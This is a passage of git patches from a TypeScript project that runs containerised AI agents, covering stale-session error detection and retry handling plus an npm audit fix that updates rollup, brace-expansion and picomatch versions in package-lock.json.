container: group.folder }, line); } // Don't reset timeout on stderr — SDK writes debug logs continuously. // Timeout only resets on actual output (OUTPUT_MARKER in stdout). diff --git a/src/index.ts b/src/index.ts index 897d0eb..f6a662a 100644 --- a/src/index.ts +++ b/src/index.ts @@ -403,12 +403,20 @@ async function runAgent( } if (output.status === 'error') { - // Detect stale/corrupt session: container failed while resuming an existing session. - // Clear the session and retry once with a fresh session to avoid infinite retry loops. - if (sessionId) { + // Detect stale/corrupt session: the SDK throws ENOENT when the session + // transcript file (.jsonl) doesn't exist inside the container. This + // happens after container restarts since the filesystem is ephemeral. + // Only clear + retry for this specific signal — transient errors + // (network, API) should fall through to the normal backoff path. + const isStaleSession = + sessionId && + output.error && + /ENOENT.*\.jsonl|session.*not found/i.test(output.error); + + if (isStaleSession) { logger.warn( { group: group.name, staleSessionId: sessionId, error: output.error }, - 'Container failed with existing session — clearing stale session and retrying with fresh session', + 'Stale session detected (ENOENT on session transcript) — clearing and retrying with fresh session', ); delete sessions[group.folder]; deleteSession(group.folder); From d675859c242e73d275c14e2e88b61c99bd292345 Mon Sep 17 00:00:00 2001 From: huahang Date: Mon, 30 Mar 2026 23:12:49 +0800 Subject: [PATCH 005/485] fix: Fix npm audit errors ```` 4 vulnerabilities (2 moderate, 2 high) To address all issues, run: npm audit fix ```` Signed-off-by: huahang --- package-lock.json | 237 +++++++++++++++++++++------------------------- 1 file changed, 110 insertions(+), 127 deletions(-) diff --git a/package-lock.json b/package-lock.json index be7152c..5f6ec30 100644 --- a/package-lock.json +++ b/package-lock.json @@ -694,9 +694,9 @@ } }, "node_modules/@rollup/rollup-android-arm-eabi": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.57.1.tgz", - "integrity": "sha512-A6ehUVSiSaaliTxai040ZpZ2zTevHYbvu/lDoeAteHI8QnaosIzm4qwtezfRg1jOYaUmnzLX1AOD6Z+UJjtifg==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.60.1.tgz", + "integrity": "sha512-d6FinEBLdIiK+1uACUttJKfgZREXrF0Qc2SmLII7W2AD8FfiZ9Wjd+rD/iRuf5s5dWrr1GgwXCvPqOuDquOowA==", "cpu": [ "arm" ], @@ -708,9 +708,9 @@ ] }, "node_modules/@rollup/rollup-android-arm64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.57.1.tgz", - "integrity": "sha512-dQaAddCY9YgkFHZcFNS/606Exo8vcLHwArFZ7vxXq4rigo2bb494/xKMMwRRQW6ug7Js6yXmBZhSBRuBvCCQ3w==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.60.1.tgz", + "integrity": "sha512-YjG/EwIDvvYI1YvYbHvDz/BYHtkY4ygUIXHnTdLhG+hKIQFBiosfWiACWortsKPKU/+dUwQQCKQM3qrDe8c9BA==", "cpu": [ "arm64" ], @@ -722,9 +722,9 @@ ] }, "node_modules/@rollup/rollup-darwin-arm64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.57.1.tgz", - "integrity": "sha512-crNPrwJOrRxagUYeMn/DZwqN88SDmwaJ8Cvi/TN1HnWBU7GwknckyosC2gd0IqYRsHDEnXf328o9/HC6OkPgOg==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.60.1.tgz", + "integrity": "sha512-mjCpF7GmkRtSJwon+Rq1N8+pI+8l7w5g9Z3vWj4T7abguC4Czwi3Yu/pFaLvA3TTeMVjnu3ctigusqWUfjZzvw==", "cpu": [ "arm64" ], @@ -736,9 +736,9 @@ ] }, "node_modules/@rollup/rollup-darwin-x64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.57.1.tgz", - "integrity": "sha512-Ji8g8ChVbKrhFtig5QBV7iMaJrGtpHelkB3lsaKzadFBe58gmjfGXAOfI5FV0lYMH8wiqsxKQ1C9B0YTRXVy4w==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.60.1.tgz", + "integrity": "sha512-haZ7hJ1JT4e9hqkoT9R/19XW2QKqjfJVv+i5AGg57S+nLk9lQnJ1F/eZloRO3o9Scy9CM3wQ9l+dkXtcBgN5Ew==", "cpu": [ "x64" ], @@ -750,9 +750,9 @@ ] }, "node_modules/@rollup/rollup-freebsd-arm64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.57.1.tgz", - "integrity": "sha512-R+/WwhsjmwodAcz65guCGFRkMb4gKWTcIeLy60JJQbXrJ97BOXHxnkPFrP+YwFlaS0m+uWJTstrUA9o+UchFug==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.60.1.tgz", + "integrity": "sha512-czw90wpQq3ZsAVBlinZjAYTKduOjTywlG7fEeWKUA7oCmpA8xdTkxZZlwNJKWqILlq0wehoZcJYfBvOyhPTQ6w==", "cpu": [ "arm64" ], @@ -764,9 +764,9 @@ ] }, "node_modules/@rollup/rollup-freebsd-x64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.57.1.tgz", - "integrity": "sha512-IEQTCHeiTOnAUC3IDQdzRAGj3jOAYNr9kBguI7MQAAZK3caezRrg0GxAb6Hchg4lxdZEI5Oq3iov/w/hnFWY9Q==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.60.1.tgz", + "integrity": "sha512-KVB2rqsxTHuBtfOeySEyzEOB7ltlB/ux38iu2rBQzkjbwRVlkhAGIEDiiYnO2kFOkJp+Z7pUXKyrRRFuFUKt+g==", "cpu": [ "x64" ], @@ -778,9 +778,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm-gnueabihf": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.57.1.tgz", - "integrity": "sha512-F8sWbhZ7tyuEfsmOxwc2giKDQzN3+kuBLPwwZGyVkLlKGdV1nvnNwYD0fKQ8+XS6hp9nY7B+ZeK01EBUE7aHaw==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.60.1.tgz", + "integrity": "sha512-L+34Qqil+v5uC0zEubW7uByo78WOCIrBvci69E7sFASRl0X7b/MB6Cqd1lky/CtcSVTydWa2WZwFuWexjS5o6g==", "cpu": [ "arm" ], @@ -792,9 +792,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm-musleabihf": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.57.1.tgz", - "integrity": "sha512-rGfNUfn0GIeXtBP1wL5MnzSj98+PZe/AXaGBCRmT0ts80lU5CATYGxXukeTX39XBKsxzFpEeK+Mrp9faXOlmrw==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.60.1.tgz", + "integrity": "sha512-n83O8rt4v34hgFzlkb1ycniJh7IR5RCIqt6mz1VRJD6pmhRi0CXdmfnLu9dIUS6buzh60IvACM842Ffb3xd6Gg==", "cpu": [ "arm" ], @@ -806,9 +806,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.57.1.tgz", - "integrity": "sha512-MMtej3YHWeg/0klK2Qodf3yrNzz6CGjo2UntLvk2RSPlhzgLvYEB3frRvbEF2wRKh1Z2fDIg9KRPe1fawv7C+g==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.60.1.tgz", + "integrity": "sha512-Nql7sTeAzhTAja3QXeAI48+/+GjBJ+QmAH13snn0AJSNL50JsDqotyudHyMbO2RbJkskbMbFJfIJKWA6R1LCJQ==", "cpu": [ "arm64" ], @@ -820,9 +820,9 @@ ] }, "node_modules/@rollup/rollup-linux-arm64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.57.1.tgz", - "integrity": "sha512-1a/qhaaOXhqXGpMFMET9VqwZakkljWHLmZOX48R0I/YLbhdxr1m4gtG1Hq7++VhVUmf+L3sTAf9op4JlhQ5u1Q==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.60.1.tgz", + "integrity": "sha512-+pUymDhd0ys9GcKZPPWlFiZ67sTWV5UU6zOJat02M1+PiuSGDziyRuI/pPue3hoUwm2uGfxdL+trT6Z9rxnlMA==", "cpu": [ "arm64" ], @@ -834,9 +834,9 @@ ] }, "node_modules/@rollup/rollup-linux-loong64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.57.1.tgz", - "integrity": "sha512-QWO6RQTZ/cqYtJMtxhkRkidoNGXc7ERPbZN7dVW5SdURuLeVU7lwKMpo18XdcmpWYd0qsP1bwKPf7DNSUinhvA==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.60.1.tgz", + "integrity": "sha512-VSvgvQeIcsEvY4bKDHEDWcpW4Yw7BtlKG1GUT4FzBUlEKQK0rWHYBqQt6Fm2taXS+1bXvJT6kICu5ZwqKCnvlQ==", "cpu": [ "loong64" ], @@ -848,9 +848,9 @@ ] }, "node_modules/@rollup/rollup-linux-loong64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.57.1.tgz", - "integrity": "sha512-xpObYIf+8gprgWaPP32xiN5RVTi/s5FCR+XMXSKmhfoJjrpRAjCuuqQXyxUa/eJTdAE6eJ+KDKaoEqjZQxh3Gw==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.60.1.tgz", + "integrity": "sha512-4LqhUomJqwe641gsPp6xLfhqWMbQV04KtPp7/dIp0nzPxAkNY1AbwL5W0MQpcalLYk07vaW9Kp1PBhdpZYYcEw==", "cpu": [ "loong64" ], @@ -862,9 +862,9 @@ ] }, "node_modules/@rollup/rollup-linux-ppc64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.57.1.tgz", - "integrity": "sha512-4BrCgrpZo4hvzMDKRqEaW1zeecScDCR+2nZ86ATLhAoJ5FQ+lbHVD3ttKe74/c7tNT9c6F2viwB3ufwp01Oh2w==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.60.1.tgz", + "integrity": "sha512-tLQQ9aPvkBxOc/EUT6j3pyeMD6Hb8QF2BTBnCQWP/uu1lhc9AIrIjKnLYMEroIz/JvtGYgI9dF3AxHZNaEH0rw==", "cpu": [ "ppc64" ], @@ -876,9 +876,9 @@ ] }, "node_modules/@rollup/rollup-linux-ppc64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.57.1.tgz", - "integrity": "sha512-NOlUuzesGauESAyEYFSe3QTUguL+lvrN1HtwEEsU2rOwdUDeTMJdO5dUYl/2hKf9jWydJrO9OL/XSSf65R5+Xw==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.60.1.tgz", + "integrity": "sha512-RMxFhJwc9fSXP6PqmAz4cbv3kAyvD1etJFjTx4ONqFP9DkTkXsAMU4v3Vyc5BgzC+anz7nS/9tp4obsKfqkDHg==", "cpu": [ "ppc64" ], @@ -890,9 +890,9 @@ ] }, "node_modules/@rollup/rollup-linux-riscv64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.57.1.tgz", - "integrity": "sha512-ptA88htVp0AwUUqhVghwDIKlvJMD/fmL/wrQj99PRHFRAG6Z5nbWoWG4o81Nt9FT+IuqUQi+L31ZKAFeJ5Is+A==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.60.1.tgz", + "integrity": "sha512-QKgFl+Yc1eEk6MmOBfRHYF6lTxiiiV3/z/BRrbSiW2I7AFTXoBFvdMEyglohPj//2mZS4hDOqeB0H1ACh3sBbg==", "cpu": [ "riscv64" ], @@ -904,9 +904,9 @@ ] }, "node_modules/@rollup/rollup-linux-riscv64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.57.1.tgz", - "integrity": "sha512-S51t7aMMTNdmAMPpBg7OOsTdn4tySRQvklmL3RpDRyknk87+Sp3xaumlatU+ppQ+5raY7sSTcC2beGgvhENfuw==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.60.1.tgz", + "integrity": "sha512-RAjXjP/8c6ZtzatZcA1RaQr6O1TRhzC+adn8YZDnChliZHviqIjmvFwHcxi4JKPSDAt6Uhf/7vqcBzQJy0PDJg==", "cpu": [ "riscv64" ], @@ -918,9 +918,9 @@ ] }, "node_modules/@rollup/rollup-linux-s390x-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.57.1.tgz", - "integrity": "sha512-Bl00OFnVFkL82FHbEqy3k5CUCKH6OEJL54KCyx2oqsmZnFTR8IoNqBF+mjQVcRCT5sB6yOvK8A37LNm/kPJiZg==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.60.1.tgz", + "integrity": "sha512-wcuocpaOlaL1COBYiA89O6yfjlp3RwKDeTIA0hM7OpmhR1Bjo9j31G1uQVpDlTvwxGn2nQs65fBFL5UFd76FcQ==", "cpu": [ "s390x" ], @@ -932,9 +932,9 @@ ] }, "node_modules/@rollup/rollup-linux-x64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.57.1.tgz", - "integrity": "sha512-ABca4ceT4N+Tv/GtotnWAeXZUZuM/9AQyCyKYyKnpk4yoA7QIAuBt6Hkgpw8kActYlew2mvckXkvx0FfoInnLg==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.60.1.tgz", + "integrity": "sha512-77PpsFQUCOiZR9+LQEFg9GClyfkNXj1MP6wRnzYs0EeWbPcHs02AXu4xuUbM1zhwn3wqaizle3AEYg5aeoohhg==", "cpu": [ "x64" ], @@ -946,9 +946,9 @@ ] }, "node_modules/@rollup/rollup-linux-x64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.57.1.tgz", - "integrity": "sha512-HFps0JeGtuOR2convgRRkHCekD7j+gdAuXM+/i6kGzQtFhlCtQkpwtNzkNj6QhCDp7DRJ7+qC/1Vg2jt5iSOFw==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.60.1.tgz", + "integrity": "sha512-5cIATbk5vynAjqqmyBjlciMJl1+R/CwX9oLk/EyiFXDWd95KpHdrOJT//rnUl4cUcskrd0jCCw3wpZnhIHdD9w==", "cpu": [ "x64" ], @@ -960,9 +960,9 @@ ] }, "node_modules/@rollup/rollup-openbsd-x64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.57.1.tgz", - "integrity": "sha512-H+hXEv9gdVQuDTgnqD+SQffoWoc0Of59AStSzTEj/feWTBAnSfSD3+Dql1ZruJQxmykT/JVY0dE8Ka7z0DH1hw==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.60.1.tgz", + "integrity": "sha512-cl0w09WsCi17mcmWqqglez9Gk8isgeWvoUZ3WiJFYSR3zjBQc2J5/ihSjpl+VLjPqjQ/1hJRcqBfLjssREQILw==", "cpu": [ "x64" ], @@ -974,9 +974,9 @@ ] }, "node_modules/@rollup/rollup-openharmony-arm64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.57.1.tgz", - "integrity": "sha512-4wYoDpNg6o/oPximyc/NG+mYUejZrCU2q+2w6YZqrAs2UcNUChIZXjtafAiiZSUc7On8v5NyNj34Kzj/Ltk6dQ==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.60.1.tgz", + "integrity": "sha512-4Cv23ZrONRbNtbZa37mLSueXUCtN7MXccChtKpUnQNgF010rjrjfHx3QxkS2PI7LqGT5xXyYs1a7LbzAwT0iCA==", "cpu": [ "arm64" ], @@ -988,9 +988,9 @@ ] }, "node_modules/@rollup/rollup-win32-arm64-msvc": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.57.1.tgz", - "integrity": "sha512-O54mtsV/6LW3P8qdTcamQmuC990HDfR71lo44oZMZlXU4tzLrbvTii87Ni9opq60ds0YzuAlEr/GNwuNluZyMQ==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.60.1.tgz", + "integrity": "sha512-i1okWYkA4FJICtr7KpYzFpRTHgy5jdDbZiWfvny21iIKky5YExiDXP+zbXzm3dUcFpkEeYNHgQ5fuG236JPq0g==", "cpu": [ "arm64" ], @@ -1002,9 +1002,9 @@ ] }, "node_modules/@rollup/rollup-win32-ia32-msvc": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.57.1.tgz", - "integrity": "sha512-P3dLS+IerxCT/7D2q2FYcRdWRl22dNbrbBEtxdWhXrfIMPP9lQhb5h4Du04mdl5Woq05jVCDPCMF7Ub0NAjIew==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.60.1.tgz", + "integrity": "sha512-u09m3CuwLzShA0EYKMNiFgcjjzwqtUMLmuCJLeZWjjOYA3IT2Di09KaxGBTP9xVztWyIWjVdsB2E9goMjZvTQg==", "cpu": [ "ia32" ], @@ -1016,9 +1016,9 @@ ] }, "node_modules/@rollup/rollup-win32-x64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.57.1.tgz", - "integrity": "sha512-VMBH2eOOaKGtIJYleXsi2B8CPVADrh+TyNxJ4mWPnKfLB/DBUmzW+5m1xUrcwWoMfSLagIRpjUFeW5CO5hyciQ==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.60.1.tgz", + "integrity": "sha512-k+600V9Zl1CM7eZxJgMyTUzmrmhB/0XZnF4pRypKAlAgxmedUA+1v9R+XOFv56W4SlHEzfeMtzujLJD22Uz5zg==", "cpu": [ "x64" ], @@ -1030,9 +1030,9 @@ ] }, "node_modules/@rollup/rollup-win32-x64-msvc": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.57.1.tgz", - "integrity": "sha512-mxRFDdHIWRxg3UfIIAwCm6NzvxG0jDX/wBN6KsQFTvKFqqg9vTrWUE68qEjHt19A5wwx5X5aUi2zuZT7YR0jrA==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.60.1.tgz", + "integrity": "sha512-lWMnixq/QzxyhTV6NjQJ4SFo1J6PvOX8vUx5Wb4bBPsEb+8xZ89Bz6kOXpfXj9ak9AHTQVQzlgzBEc1SyM27xQ==", "cpu": [ "x64" ], @@ -1605,10 +1605,11 @@ } }, "node_modules/brace-expansion": { - "version": "1.1.12", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", - "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", + "version": "1.1.13", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.13.tgz", + "integrity": "sha512-9ZLprWS6EENmhEOpjCYW2c8VkmOvckIJZfkr7rBW6dObmfgJ/L1GpSYW5Hpo9lDz4D1+n0Ckz8rU7FwHDQiG/w==", "dev": true, + "license": "MIT", "dependencies": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" @@ -2605,9 +2606,9 @@ "license": "ISC" }, "node_modules/picomatch": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", - "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz", + "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==", "dev": true, "license": "MIT", "engines": { @@ -2774,9 +2775,9 @@ } }, "node_modules/rollup": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.57.1.tgz", - "integrity": "sha512-oQL6lgK3e2QZeQ7gcgIkS2YZPg5slw37hYufJ3edKlfQSGGm8ICoxswK15ntSzF/a8+h7ekRy7k7oWc3BQ7y8A==", + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.60.1.tgz", + "integrity": "sha512-VmtB2rFU/GroZ4oL8+ZqXgSA38O6GR8KSIvWmEFv63pQ0G6KaBH9s07PO8XTXP4vI+3UJUEypOfjkGfmSBBR0w==", "dev": true, "license": "MIT", "dependencies": { @@ -2790,31 +2791,31 @@ "npm": ">=8.0.0" }, "optionalDependencies": { - "@rollup/rollup-android-arm-eabi": "4.57.1", - "@rollup/rollup-android-arm64": "4.57.1", - "@rollup/rollup-darwin-arm64": "4.57.1", - "@rollup/rollup-darwin-x64": "4.57.1", - "@rollup/rollup-freebsd-arm64": "4.57.1", - "@rollup/rollup-freebsd-x64": "4.57.1", - "@rollup/rollup-linux-arm-gnueabihf": "4.57.1", - "@rollup/rollup-linux-arm-musleabihf": "4.57.1", - "@rollup/rollup-linux-arm64-gnu": "4.57.1", - "@rollup/rollup-linux-arm64-musl": "4.57.1", - "@rollup/rollup-linux-loong64-gnu": "4.57.1", - "@rollup/rollup-linux-loong64-musl": "4.57.1", - "@rollup/rollup-linux-ppc64-gnu": "4.57.1", - "@rollup/rollup-linux-ppc64-musl": "4.57.1", - "@rollup/rollup-linux-riscv64-gnu": "4.57.1", - "@rollup/rollup-linux-riscv64-musl": "4.57.1", - "@rollup/rollup-linux-s390x-gnu": "4.57.1", - "@rollup/rollup-linux-x64-gnu": "4.57.1", - "@rollup/rollup-linux-x64-musl": "4.57.1", - "@rollup/rollup-openbsd-x64": "4.57.1", - "@rollup/rollup-openharmony-arm64": "4.57.1", - "@rollup/rollup-win32-arm64-msvc": "4.57.1", - "@rollup/rollup-win32-ia32-msvc": "4.57.1", - "@rollup/rollup-win32-x64-gnu": "4.57.1", - "@rollup/rollup-win32-x64-msvc": "4.57.1", + "@rollup/rollup-android-arm-eabi": "4.60.1", + "@rollup/rollup-android-arm64": "4.60.1", + "@rollup/rollup-darwin-arm64": "4.60.1", + "@rollup/rollup-darwin-x64": "4.60.1", + "@rollup/rollup-freebsd-arm64": "4.60.1", + "@rollup/rollup-freebsd-x64": "4.60.1", + "@rollup/rollup-linux-arm-gnueabihf": "4.60.1", + "@rollup/rollup-linux-arm-musleabihf": "4.60.1", + "@rollup/rollup-linux-arm64-gnu": "4.60.1", + "@rollup/rollup-linux-arm64-musl": "4.60.1", + "@rollup/rollup-linux-loong64-gnu": "4.60.1", + "@rollup/rollup-linux-loong64-musl": "4.60.1", + "@rollup/rollup-linux-ppc64-gnu": "4.60.1", + "@rollup/rollup-linux-ppc64-musl": "4.60.1", + "@rollup/rollup-linux-riscv64-gnu": "4.60.1", + "@rollup/rollup-linux-riscv64-musl": "4.60.1", + "@rollup/rollup-linux-s390x-gnu": "4.60.1", + "@rollup/rollup-linux-x64-gnu": "4.60.1", + "@rollup/rollup-linux-x64-musl": "4.60.1", + "@rollup/rollup-openbsd-x64": "4.60.1", + "@rollup/rollup-openharmony-arm64": "4.60.1", + "@rollup/rollup-win32-arm64-msvc": "4.60.1", + "@rollup/rollup-win32-ia32-msvc": "4.60.1", + "@rollup/rollup-win32-x64-gnu": "4.60.1", + "@rollup/rollup-win32-x64-msvc": "4.60.1", "fsevents": "~2.3.2" } }, @@ -3356,24 +3357,6 @@ "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", "license": "ISC" }, - "node_modules/yaml": { - "version": "2.8.2", - "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.8.2.tgz", - "integrity": "sha512-mplynKqc1C2hTVYxd0PU2xQAc22TI1vShAYGksCCfxbn/dFwnHTNi1bvYsBTkhdUNtGIf5xNOg938rrSSYvS9A==", - "dev": true, - "license": "ISC", - "optional": true, - "peer": true, - "bin": { - "yaml": "bin.mjs" - }, - "engines": { - "node": ">= 14.6" - }, - "funding": { - "url": "https://github.com/sponsors/eemeli" - } - }, "node_modules/yocto-queue": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", From 001ee6ec4876a89e8e57c3446a46b9e8dae8b587 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Tue, 31 Mar 2026 01:17:27 +0300 Subject: [PATCH 006/485] fix: correct stale session regex and remove duplicate retry logic MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The original regex didn't match the actual error ("No conversation found with session ID: ..."). Added `no conversation found` pattern. Removed the inline retry — clearing the session and returning 'error' lets the existing group-queue.ts backoff loop retry with a fresh session naturally. Simpler, no duplicate error paths. Co-Authored-By: Claude Opus 4.6 (1M context) --- src/index.ts | 47 ++++++----------------------------------------- 1 file changed, 6 insertions(+), 41 deletions(-) diff --git a/src/index.ts b/src/index.ts index f6a662a..e186c40 100644 --- a/src/index.ts +++ b/src/index.ts @@ -403,57 +403,22 @@ async function runAgent( } if (output.status === 'error') { - // Detect stale/corrupt session: the SDK throws ENOENT when the session - // transcript file (.jsonl) doesn't exist inside the container. This - // happens after container restarts since the filesystem is ephemeral. - // Only clear + retry for this specific signal — transient errors - // (network, API) should fall through to the normal backoff path. + // Detect stale/corrupt session — clear it so the next retry starts fresh. + // The session .jsonl can go missing after a crash mid-write, manual + // deletion, or disk-full. The existing backoff in group-queue.ts + // handles the retry; we just need to remove the broken session ID. const isStaleSession = sessionId && output.error && - /ENOENT.*\.jsonl|session.*not found/i.test(output.error); + /no conversation found|ENOENT.*\.jsonl|session.*not found/i.test(output.error); if (isStaleSession) { logger.warn( { group: group.name, staleSessionId: sessionId, error: output.error }, - 'Stale session detected (ENOENT on session transcript) — clearing and retrying with fresh session', + 'Stale session detected — clearing for next retry', ); delete sessions[group.folder]; deleteSession(group.folder); - - const freshOutput = await runContainerAgent( - group, - { - prompt, - sessionId: undefined, - groupFolder: group.folder, - chatJid, - isMain, - assistantName: ASSISTANT_NAME, - }, - (proc, containerName) => - queue.registerProcess(chatJid, proc, containerName, group.folder), - wrappedOnOutput, - ); - - if (freshOutput.newSessionId) { - sessions[group.folder] = freshOutput.newSessionId; - setSession(group.folder, freshOutput.newSessionId); - } - - if (freshOutput.status === 'error') { - logger.error( - { group: group.name, error: freshOutput.error }, - 'Container agent error on fresh session retry', - ); - return 'error'; - } - - logger.info( - { group: group.name, newSessionId: freshOutput.newSessionId }, - 'Fresh session retry succeeded', - ); - return 'success'; } logger.error( From 